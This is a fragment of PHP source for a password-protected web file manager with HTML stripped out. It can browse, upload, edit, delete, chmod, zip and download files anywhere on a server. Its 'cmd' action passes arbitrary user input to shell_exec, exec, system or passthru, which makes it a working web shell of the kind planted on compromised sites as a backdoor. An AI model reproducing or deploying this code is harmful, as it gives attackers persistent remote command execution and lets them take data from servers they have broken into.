' . MARK . ' login

= 1024 && $i < 4) { $n /= 1024; $i++; } return round($n, 2) . ' ' . $u[$i]; } function curdir() { $base = p(__DIR__); $d = isset($_GET['d']) ? (string)$_GET['d'] : (isset($_POST['d']) ? (string)$_POST['d'] : $base); $d = p($d); if ($d === '') $d = $base; if ($d[0] !== '/') $d = $base . '/' . $d; $real = realpath($d); if ($real === false || !is_dir($real)) $real = $base; return p($real); } function url($action = '', $d = null, $extra = '') { $q = 'a=' . urlencode($action); if ($d !== null) $q .= '&d=' . urlencode($d); if ($extra !== '') $q .= '&' . $extra; return SELF . '?' . $q; } function authed() { if (isset($_POST['p']) && hash_equals(PASS, (string)$_POST['p'])) { $_SESSION['fm'] = 1; return true; } if (isset($_GET['p']) && hash_equals(PASS, (string)$_GET['p'])) { $_SESSION['fm'] = 1; return true; } return !empty($_SESSION['fm']); } function denied() { echo '' . MARK . ' login'; exit; } function zipdir($dir, $zipfile) { if (!class_exists('ZipArchive')) return 'ZipArchive missing'; $z = new ZipArchive(); if ($z->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) return 'open failed'; $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); $n = 0; foreach ($it as $f) { if (!$f->isFile()) continue; $rel = substr(p($f->getPathname()), strlen(p($dir)) + 1); $z->addFile($f->getPathname(), $rel); $n++; if ($n > 3000) break; } $z->close(); return $n . ' files zipped'; } function rrmdir($dir) { foreach (scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; $path = $dir . '/' . $f; if (is_dir($path) && !is_link($path)) rrmdir($path); else @unlink($path); } return @rmdir($dir); } if (!authed()) denied(); $d = curdir(); $action = isset($_GET['a']) ? (string)$_GET['a'] : 'list'; $msg = ''; /* ---------- actions ---------- */ if ($action === 'logout') { $_SESSION = array(); session_destroy(); header('Location: ' . SELF); exit; } if ($action === 'upload' && !empty($_FILES['f'])) { $ok = 0; $err = array(); foreach ($_FILES['f']['name'] as $i => $name) { if ($_FILES['f']['error'][$i] !== UPLOAD_ERR_OK || $name === '') continue; $name = basename($name); if (file_exists($d . '/' . $name)) { $pi = pathinfo($name); $name = $pi['filename'] . '_' . substr(md5(uniqid('', true)), 0, 5) . (isset($pi['extension']) ? '.' . $pi['extension'] : ''); } if (@move_uploaded_file($_FILES['f']['tmp_name'][$i], $d . '/' . $name)) $ok++; else $err[] = $name; } $msg = 'Uploaded: ' . $ok . ($err ? '; failed: ' . implode(', ', $err) : ''); $action = 'list'; } if ($action === 'mkdir' && isset($_POST['name']) && trim($_POST['name']) !== '') { $n = basename(trim($_POST['name'])); $msg = @mkdir($d . '/' . $n) ? 'Created dir: ' . $n : 'mkdir failed'; } if ($action === 'touch' && isset($_POST['name']) && trim($_POST['name']) !== '') { $n = basename(trim($_POST['name'])); $msg = @touch($d . '/' . $n) ? 'Created file: ' . $n : 'touch failed'; } if ($action === 'del' && !empty($_POST['sel'])) { $n = 0; foreach ((array)$_POST['sel'] as $f) { $path = $d . '/' . basename($f); if (is_dir($path)) { if (rrmdir($path)) $n++; } else { if (@unlink($path)) $n++; } } $msg = 'Deleted: ' . $n; } if ($action === 'rename' && isset($_POST['old'], $_POST['new'])) { $o = $d . '/' . basename($_POST['old']); $nn = $d . '/' . basename($_POST['new']); $msg = @rename($o, $nn) ? 'Renamed to ' . basename($nn) : 'rename failed'; } if ($action === 'copy' && isset($_POST['old'], $_POST['new'])) { $o = $d . '/' . basename($_POST['old']); $nn = $d . '/' . basename($_POST['new']); if (is_dir($o)) { $msg = 'copy dir unsupported'; } else $msg = @copy($o, $nn) ? 'Copied to ' . basename($nn) : 'copy failed'; } if ($action === 'chmod' && isset($_POST['sel'])) { $mode = octdec(trim((string)$_POST['mode'], '0 ')); $n = 0; foreach ((array)$_POST['sel'] as $f) { if (@chmod($d . '/' . basename($f), $mode)) $n++; } $msg = 'chmod done: ' . $n; } if ($action === 'zip' && !empty($_POST['sel'])) { $zip = $d . '/archive_' . date('His') . '.zip'; if (count((array)$_POST['sel']) === 1 && is_file($d . '/' . basename($_POST['sel'][0]))) { if (class_exists('ZipArchive')) { $z = new ZipArchive(); if ($z->open($zip, ZipArchive::CREATE) === true) { $z->addFile($d . '/' . basename($_POST['sel'][0]), basename($_POST['sel'][0])); $z->close(); $msg = 'Zipped: ' . basename($zip); } else $msg = 'zip failed'; } else $msg = 'ZipArchive missing'; } else { $msg = zipdir($d, $zip); $msg = 'Zipped: ' . basename($zip) . ' (' . $msg . ')'; } } if ($action === 'unzip' && !empty($_POST['sel']) && count((array)$_POST['sel']) === 1) { $zip = $d . '/' . basename($_POST['sel'][0]); if (class_exists('ZipArchive')) { $z = new ZipArchive(); $n = 0; if ($z->open($zip) === true) { for ($i = 0; $i < $z->numFiles; $i++) { $s = $z->getNameIndex($i); if (substr($s, -1) !== '/') { @mkdir(dirname($d . '/' . $s), 0755, true); if ($z->extractTo($d, $s)) $n++; } } $z->close(); $msg = 'Extracted: ' . $n; } else $msg = 'unzip failed'; } else $msg = 'ZipArchive missing'; } if ($action === 'save' && isset($_POST['file'], $_POST['content'])) { $f = $d . '/' . basename($_POST['file']); $msg = @file_put_contents($f, (string)$_POST['content']) !== false ? 'Saved: ' . basename($f) : 'save failed'; } if ($action === 'download') { $f = $d . '/' . basename($_GET['f']); if (is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($f) . '"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; } $msg = 'file not found'; } if ($action === 'cmd' && isset($_POST['cmd'])) { $cmd = (string)$_POST['cmd']; $out = ''; $rc = 0; if (function_exists('shell_exec')) { $out = (string)@shell_exec('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1'); } elseif (function_exists('exec')) { @exec('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $lines, $rc); $out = implode("\n", $lines); } elseif (function_exists('system')) { ob_start(); @system('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $rc); $out = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $rc); $out = ob_get_clean(); } else { $out = 'no exec functions'; $rc = -1; } $msg = 'CMD {' . h($cmd) . '} [rc=' . $rc . ']'; $_SESSION['cmdout'] = $out; $action = 'cmdview'; } $cmdout = isset($_SESSION['cmdout']) ? $_SESSION['cmdout'] : ''; /* ---------- layout ---------- */ $files = array(); $dirs = array(); if ($action !== 'edit' && $action !== 'cmdview') { $items = @scandir($d); if ($items) foreach ($items as $f) { if ($f === '.' || $f === '..') continue; $path = $d . '/' . $f; $row = array('n' => $f, 'dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : 0, 'mtime' => @filemtime($path), 'perm' => substr(sprintf('%o', fileperms($path)), -4), 'w' => is_writable($path)); if ($row['dir']) $dirs[] = $row; else $files[] = $row; } usort($dirs, function ($a, $b) { return strcasecmp($a['n'], $b['n']); }); usort($files, function ($a, $b) { return strcasecmp($a['n'], $b['n']); }); } $parent = dirname($d); ?> <?php echo MARK; ?> — <?php echo h(basename($d)); ?>

FM ↑ Up Root Refresh Logout

/ / ' . h($part) . ''; } ?>

Editing:

Back

PHP · user ·

	Name	Size	Perm	Modified
	📁	DIR
	📄				get